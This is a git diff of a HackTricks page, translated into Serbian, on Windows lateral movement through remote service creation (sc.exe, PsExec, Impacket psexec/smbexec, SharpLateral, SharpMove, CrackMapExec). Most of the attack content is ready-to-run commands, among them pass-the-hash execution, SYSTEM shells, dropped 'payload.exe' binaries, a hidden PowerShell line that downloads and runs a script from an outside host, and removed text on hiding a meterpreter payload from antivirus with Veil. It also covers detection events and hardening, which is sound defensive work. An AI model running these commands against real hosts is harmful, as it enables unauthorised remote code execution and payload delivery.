mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m
This commit is contained in:
parent
cba5234fd2
commit
e43de8fce5
@ -4,46 +4,147 @@
|
|||||||
|
|
||||||
## Kako funkcionišu
|
## Kako funkcionišu
|
||||||
|
|
||||||
Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB:
|
Ove tehnike zloupotrebljavaju Windows Service Control Manager (SCM) na daljinu preko SMB/RPC da izvrše komande na ciljanom hostu. Uobičajeni tok je:
|
||||||
|
|
||||||
1. **Kopiranje binarnog fajla servisa na ADMIN$ share preko SMB** se vrši.
|
1. Autentifikujte se na cilj i pristupite ADMIN$ deljenju preko SMB (TCP/445).
|
||||||
2. **Kreiranje servisa na udaljenoj mašini** se vrši upućivanjem na binarni fajl.
|
2. Kopirajte izvršni fajl ili navedite LOLBAS komandnu liniju koju će servis izvršiti.
|
||||||
3. Servis se **pokreće daljinski**.
|
3. Kreirajte servis na daljinu putem SCM (MS-SCMR preko \PIPE\svcctl) koji pokazuje na tu komandu ili binarni fajl.
|
||||||
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**.
|
4. Pokrenite servis da izvrši payload i opcionalno uhvatite stdin/stdout putem imenovane cevi.
|
||||||
|
5. Zaustavite servis i očistite (obrišite servis i sve preuzete binarne fajlove).
|
||||||
|
|
||||||
### **Proces ručnog izvršavanja PsExec**
|
Zahtevi/preduslovi:
|
||||||
|
- Lokalni administrator na cilju (SeCreateServicePrivilege) ili eksplicitna prava za kreiranje servisa na cilju.
|
||||||
|
- SMB (445) dostupan i ADMIN$ deljenje dostupno; Udaljeno upravljanje servisima dozvoljeno kroz firewall hosta.
|
||||||
|
- UAC udaljena ograničenja: sa lokalnim nalozima, filtriranje tokena može blokirati admin pristup preko mreže osim ako se koristi ugrađeni Administrator ili LocalAccountTokenFilterPolicy=1.
|
||||||
|
- Kerberos vs NTLM: korišćenje imena hosta/FQDN omogućava Kerberos; povezivanje putem IP adrese često se vraća na NTLM (i može biti blokirano u učvršćenim okruženjima).
|
||||||
|
|
||||||
Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskiran koristeći Veil da bi izbegao detekciju antivirusnog softvera), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju:
|
### Ručni ScExec/WinExec putem sc.exe
|
||||||
|
|
||||||
- **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ share iz komandne linije, iako može biti postavljen bilo gde na fajl sistemu da bi ostao skriven.
|
Sledeće prikazuje minimalni pristup kreiranju servisa. Slika servisa može biti preuzeti EXE ili LOLBAS kao što su cmd.exe ili powershell.exe.
|
||||||
- Umesto kopiranja binarnog fajla, takođe je moguće koristiti LOLBAS binarni fajl kao što je `powershell.exe` ili `cmd.exe` da se izvrše komande direktno iz argumenata. Npr. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
|
```cmd
|
||||||
- **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa daljinski, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl.
|
:: Execute a one-liner without dropping a binary
|
||||||
- **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati "time-out" greškom zbog toga što binarni fajl nije pravi binarni fajl servisa i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla.
|
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
|
||||||
|
sc.exe \\TARGET start HTSvc
|
||||||
|
sc.exe \\TARGET delete HTSvc
|
||||||
|
|
||||||
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno započeta.
|
:: Drop a payload to ADMIN$ and execute it (example path)
|
||||||
|
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
|
||||||
[Saznajte više o `sc` komandi](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
|
||||||
|
sc.exe \\TARGET start HTSvc
|
||||||
Pronađite detaljnije korake u: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
sc.exe \\TARGET delete HTSvc
|
||||||
|
|
||||||
- Takođe možete koristiti **Windows Sysinternals binarni fajl PsExec.exe**:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
Ili mu pristupiti putem webddav:
|
|
||||||
```bash
|
|
||||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
|
|
||||||
```
|
```
|
||||||
- Takođe možete koristiti [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
Napomene:
|
||||||
|
- Očekujte grešku vremenskog ograničenja prilikom pokretanja EXE-a koji nije servis; izvršenje se i dalje dešava.
|
||||||
|
- Da biste ostali više OPSEC-prijateljski, preferirajte komande bez datoteka (cmd /c, powershell -enc) ili obrišite preuzete artefakte.
|
||||||
|
|
||||||
|
Pronađite detaljnije korake na: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
|
||||||
|
|
||||||
|
## Alati i primeri
|
||||||
|
|
||||||
|
### Sysinternals PsExec.exe
|
||||||
|
|
||||||
|
- Klasičan alat za administraciju koji koristi SMB za preuzimanje PSEXESVC.exe u ADMIN$, instalira privremenu uslugu (podrazumevano ime PSEXESVC) i proksira I/O preko imenovanih cevi.
|
||||||
|
- Primeri korišćenja:
|
||||||
|
```cmd
|
||||||
|
:: Interactive SYSTEM shell on remote host
|
||||||
|
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
|
||||||
|
|
||||||
|
:: Run a command as a specific domain user
|
||||||
|
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
|
||||||
|
|
||||||
|
:: Customize the service name for OPSEC (-r)
|
||||||
|
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
|
||||||
|
```
|
||||||
|
- Možete pokrenuti direktno sa Sysinternals Live putem WebDAV:
|
||||||
|
```cmd
|
||||||
|
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
||||||
|
```
|
||||||
|
OPSEC
|
||||||
|
- Ostavlja događaje instalacije/deinstalacije servisa (Ime servisa često PSEXESVC osim ako nije korišćena opcija -r) i kreira C:\Windows\PSEXESVC.exe tokom izvršavanja.
|
||||||
|
|
||||||
|
### Impacket psexec.py (slično PsExec-u)
|
||||||
|
|
||||||
|
- Koristi ugrađenu uslugu sličnu RemCom-u. Postavlja privremeni binarni fajl servisa (obično sa nasumičnim imenom) putem ADMIN$, kreira servis (podrazumevano često RemComSvc) i prosleđuje I/O preko imenovane cevi.
|
||||||
```bash
|
```bash
|
||||||
|
# Password auth
|
||||||
|
psexec.py DOMAIN/user:Password@HOST cmd.exe
|
||||||
|
|
||||||
|
# Pass-the-Hash
|
||||||
|
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
|
||||||
|
|
||||||
|
# Kerberos (use tickets in KRB5CCNAME)
|
||||||
|
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
|
||||||
|
|
||||||
|
# Change service name and output encoding
|
||||||
|
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
||||||
|
```
|
||||||
|
Artifacts
|
||||||
|
- Privremeni EXE u C:\Windows\ (nasumičnih 8 karaktera). Ime servisa podrazumevano je RemComSvc osim ako nije promenjeno.
|
||||||
|
|
||||||
|
### Impacket smbexec.py (SMBExec)
|
||||||
|
|
||||||
|
- Kreira privremenu uslugu koja pokreće cmd.exe i koristi imenovanu cev za I/O. Generalno izbegava ispuštanje pune EXE korisničke datoteke; izvršavanje komandi je polu-interaktivno.
|
||||||
|
```bash
|
||||||
|
smbexec.py DOMAIN/user:Password@HOST
|
||||||
|
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
|
||||||
|
```
|
||||||
|
### SharpLateral i SharpMove
|
||||||
|
|
||||||
|
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implementira nekoliko metoda lateralnog kretanja uključujući izvršavanje zasnovano na servisima.
|
||||||
|
```cmd
|
||||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||||
```
|
```
|
||||||
- Takođe možete koristiti [**SharpMove**](https://github.com/0xthirteen/SharpMove):
|
- [SharpMove](https://github.com/0xthirteen/SharpMove) uključuje modifikaciju/kreiranje servisa za izvršavanje komande na daljinu.
|
||||||
```bash
|
```cmd
|
||||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||||
```
|
```
|
||||||
- Takođe možete koristiti **Impacketov `psexec` i `smbexec.py`**.
|
- Možete takođe koristiti CrackMapExec za izvršavanje putem različitih backend-a (psexec/smbexec/wmiexec):
|
||||||
|
```bash
|
||||||
|
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
|
||||||
|
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
|
||||||
|
```
|
||||||
|
## OPSEC, detekcija i artefakti
|
||||||
|
|
||||||
|
Tipični host/network artefakti prilikom korišćenja PsExec-sličnih tehnika:
|
||||||
|
- Security 4624 (Logon Type 3) i 4672 (Special Privileges) na cilju za admin nalog koji se koristi.
|
||||||
|
- Security 5140/5145 File Share i File Share Detailed događaji koji prikazuju ADMIN$ pristup i kreiranje/pisanje servisnih binarnih fajlova (npr., PSEXESVC.exe ili nasumični 8-znamenkasti .exe).
|
||||||
|
- Security 7045 Service Install na cilju: imena servisa kao što su PSEXESVC, RemComSvc, ili prilagođeni (-r / -service-name).
|
||||||
|
- Sysmon 1 (Process Create) za services.exe ili sliku servisa, 3 (Network Connect), 11 (File Create) u C:\Windows\, 17/18 (Pipe Created/Connected) za cevi kao što su \\.\pipe\psexesvc, \\.\pipe\remcom_*, ili nasumične ekvivalente.
|
||||||
|
- Registry artefakt za Sysinternals EULA: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 na hostu operatera (ako nije potisnuto).
|
||||||
|
|
||||||
|
Ideje za lov
|
||||||
|
- Upozorenje na instalacije servisa gde ImagePath uključuje cmd.exe /c, powershell.exe, ili TEMP lokacije.
|
||||||
|
- Tražiti kreacije procesa gde je ParentImage C:\Windows\PSEXESVC.exe ili deca services.exe koja se izvršavaju kao LOCAL SYSTEM pokrećući shell-ove.
|
||||||
|
- Obeležiti imenovane cevi koje se završavaju sa -stdin/-stdout/-stderr ili poznatim imenima cevi PsExec klonova.
|
||||||
|
|
||||||
|
## Rešavanje uobičajenih grešaka
|
||||||
|
- Pristup je odbijen (5) prilikom kreiranja servisa: nije pravi lokalni admin, UAC udaljena ograničenja za lokalne naloge, ili EDR zaštita od manipulacije na putanji servisnog binarnog fajla.
|
||||||
|
- Mrežni put nije pronađen (53) ili nije moglo da se poveže na ADMIN$: vatrozid blokira SMB/RPC ili su admin deljenja onemogućena.
|
||||||
|
- Kerberos ne uspeva, ali NTLM je blokiran: povežite se koristeći hostname/FQDN (ne IP), osigurajte ispravne SPN-ove, ili obezbedite -k/-no-pass sa tiketima prilikom korišćenja Impacket-a.
|
||||||
|
- Početak servisa ističe, ali payload je izvršen: očekivano ako nije pravi servisni binarni fajl; snimite izlaz u fajl ili koristite smbexec za live I/O.
|
||||||
|
|
||||||
|
## Beleške o učvršćivanju (moderne promene)
|
||||||
|
- Windows 11 24H2 i Windows Server 2025 zahtevaju SMB potpisivanje po defaultu za odlazne (i Windows 11 dolazne) veze. Ovo ne prekida legitimnu upotrebu PsExec-a sa validnim kredencijalima, ali sprečava zloupotrebu nesigniranog SMB relaya i može uticati na uređaje koji ne podržavaju potpisivanje.
|
||||||
|
- Novi SMB klijent NTLM blokiranje (Windows 11 24H2/Server 2025) može sprečiti NTLM fallback prilikom povezivanja putem IP-a ili na ne-Kerberos servere. U učvršćenim okruženjima ovo će prekinuti NTLM-bazirani PsExec/SMBExec; koristite Kerberos (hostname/FQDN) ili konfigurišite izuzetke ako je legitimno potrebno.
|
||||||
|
- Princip minimalnih privilegija: minimizujte članstvo lokalnog admina, preferirajte Just-in-Time/Just-Enough Admin, sprovodite LAPS, i pratite/upalite upozorenja na 7045 instalacije servisa.
|
||||||
|
|
||||||
|
## Takođe pogledajte
|
||||||
|
|
||||||
|
- WMI-bazirani udaljeni exec (često više bezfajlovni):
|
||||||
|
{{#ref}}
|
||||||
|
lateral-movement/wmiexec.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
- WinRM-bazirani udaljeni exec:
|
||||||
|
{{#ref}}
|
||||||
|
lateral-movement/winrm.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
||||||
|
- SMB sigurnosno učvršćivanje u Windows Server 2025 & Windows 11 (potpisivanje po defaultu, NTLM blokiranje): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user